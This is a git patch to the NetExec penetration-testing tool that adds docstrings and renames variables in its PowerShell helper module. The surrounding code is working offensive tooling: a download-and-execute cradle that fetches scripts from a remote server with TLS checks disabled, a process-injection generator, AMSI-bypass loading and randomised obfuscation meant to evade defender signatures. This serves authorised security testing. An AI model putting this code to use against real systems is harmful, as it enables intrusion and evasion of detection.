From f9489dcb7e1151b93245254248fca403ac00d4df Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 20 Sep 2023 11:52:11 -0400 Subject: [PATCH] fix type check and add docstrings to powershell.py --- nxc/helpers/powershell.py | 157 ++++++++++++++++++++++++++------------ 1 file changed, 107 insertions(+), 50 deletions(-) diff --git a/nxc/helpers/powershell.py b/nxc/helpers/powershell.py index 58c6a0eb..c37d4958 100644 --- a/nxc/helpers/powershell.py +++ b/nxc/helpers/powershell.py @@ -15,20 +15,57 @@ obfuscate_ps_scripts = False def get_ps_script(path): + """ + Generates a full path to a PowerShell script given a relative path. + + Parameters: + path (str): The relative path to the PowerShell script. + + Returns: + str: The full path to the PowerShell script. + """ return os.path.join(DATA_PATH, path) def encode_ps_command(command): + """ + Encodes a PowerShell command into a base64-encoded string. + + Args: + command (str): The PowerShell command to encode. + + Returns: + str: The base64-encoded string representation of the encoded command. + """ return b64encode(command.encode("UTF-16LE")).decode() def is_powershell_installed(): + """ + Check if PowerShell is installed. + + Returns: + bool: True if PowerShell is installed, False otherwise. + """ if which("powershell"): return True return False def obfs_ps_script(path_to_script): + """ + Obfuscates a PowerShell script. + + Args: + path_to_script (str): The path to the PowerShell script. + + Returns: + str: The obfuscated PowerShell script. + + Raises: + FileNotFoundError: If the script file does not exist. + OSError: If there is an error during obfuscation. + """ ps_script = path_to_script.split("/")[-1] obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts") obfs_ps_script = os.path.join(obfs_script_dir, ps_script) @@ -45,7 +82,7 @@ def obfs_ps_script(path_to_script): nxc_logger.debug(invoke_obfs_command) with open(os.devnull, "w") as devnull: - return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) + call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) nxc_logger.success("Script obfuscated successfully") @@ -67,6 +104,21 @@ def obfs_ps_script(path_to_script): def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None): + """ + Generates a PowerShell command based on the provided `ps_command` parameter. + + Args: + ps_command (str): The PowerShell command to be executed. + + force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False. + + dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False. + + custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None. + + Returns: + str: The generated PowerShell command. + """ if custom_amsi: with open(custom_amsi) as file_in: lines = [] @@ -166,6 +218,18 @@ else def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False): + """ + Generates a PowerShell code block for injecting a command into a specified process. + + Args: + command (str): The command to be injected. + context (str, optional): The context in which the code block will be injected. Defaults to None. + procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe". + inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False. + + Returns: + str: The generated PowerShell code block. + """ # The following code gives us some control over where and how Invoke-PSInject does its thang # It prioritizes injecting into a process of the active console session ps_code = """ @@ -208,7 +272,19 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{ def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True): - if type(scripts) is str: + """ + Generates a PowerShell IEX cradle script for executing one or more scripts. + + Args: + context (Context): The context object containing server and port information. + scripts (str or list): The script(s) to be executed. + command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string. + post_back (bool, optional): Whether to send a POST request with the command. Defaults to True. + + Returns: + str: The generated PowerShell IEX cradle script. + """ + if isinstance(scripts, str): launcher = """ [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}} [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12' @@ -222,7 +298,7 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri command=command if post_back is False else "", ).strip() - elif type(scripts) is list: + elif isinstance(scripts, list): launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" for script in scripts: @@ -260,6 +336,15 @@ $request.GetResponse()""".format( # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py def invoke_obfuscation(script_string): + """ + Obfuscates a script string and generates an obfuscated payload for execution. + + Args: + script_string (str): The script string to obfuscate. + + Returns: + str: The obfuscated payload for execution. + """ # Add letters a-z with random case to $RandomDelimiters. alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase) @@ -356,7 +441,7 @@ def invoke_obfuscation(script_string): set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) # Generate the code that will decrypt and execute the payload and randomly select one. - baseScriptArray = [ + base_script_array = [ "[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array, "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", "(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")", @@ -364,14 +449,14 @@ def invoke_obfuscation(script_string): ] # Generate random JOIN syntax for all above options new_script_array = [ - choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''", - join + choice(["", " "]) + choice(baseScriptArray), - str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")", - '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"', + choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''", + join + choice(["", " "]) + choice(base_script_array), + str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")", + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"', ] # Randomly select one of the above commands. - newScript = choice(new_script_array) + new_script = choice(new_script_array) # Generate random invoke operation syntax # Below code block is a copy from Out-ObfuscatedStringCommand.ps1 @@ -383,54 +468,26 @@ def invoke_obfuscation(script_string): # but not a silver bullet # These methods draw on common environment variable values and PowerShell Automatic Variable # values/methods/members/properties/etc. - invocationOperator = choice([".", "&"]) + choice(["", " "]) - invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')") - invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')") - invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')") - invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')") - invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')") - invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')") + invocation_operator = choice([".", "&"]) + choice(["", " "]) + invoke_expression_syntax.append(invocation_operator + "( $ShellId[1]+$ShellId[13]+'x')") + invoke_expression_syntax.append(invocation_operator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')") + invoke_expression_syntax.append(invocation_operator + "( $env:Public[13]+$env:Public[5]+'x')") + invoke_expression_syntax.append(invocation_operator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')") + invoke_expression_syntax.append(invocation_operator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')") + invoke_expression_syntax.append(invocation_operator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')") # Randomly choose from above invoke operation syntaxes. - invokeExpression = choice(invoke_expression_syntax) + invoke_expression = choice(invoke_expression_syntax) # Randomize the case of selected invoke operation. - invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression) + invoke_expression = "".join(choice([i.upper(), i.lower()]) for i in invoke_expression) # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) - invokeOptions = [ - choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]), - choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression, + invoke_options = [ + choice(["", " "]) + invoke_expression + choice(["", " "]) + "(" + choice(["", " "]) + new_script + choice(["", " "]) + ")" + choice(["", " "]), + choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression, ] - obfuscated_payload = choice(invokeOptions) + obfuscated_payload = choice(invoke_options) - """ - # Array to store all selected PowerShell execution flags. - powerShellFlags = [] - - noProfile = '-nop' - nonInteractive = '-noni' - windowStyle = '-w' - - # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. - # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. - commandlineOptions = [] - commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)]) - commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)]) - # Randomly decide to write WindowStyle value with flag substring or integer value. - commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde']))) - - # Randomize the case of all command-line arguments. - for count, option in enumerate(commandlineOptions): - commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option) - - for count, option in enumerate(commandlineOptions): - commandlineOptions[count] = ''.join(option) - - commandlineOptions = sample(commandlineOptions, len(commandlineOptions)) - commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions) - - obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript - """ return obfuscated_payload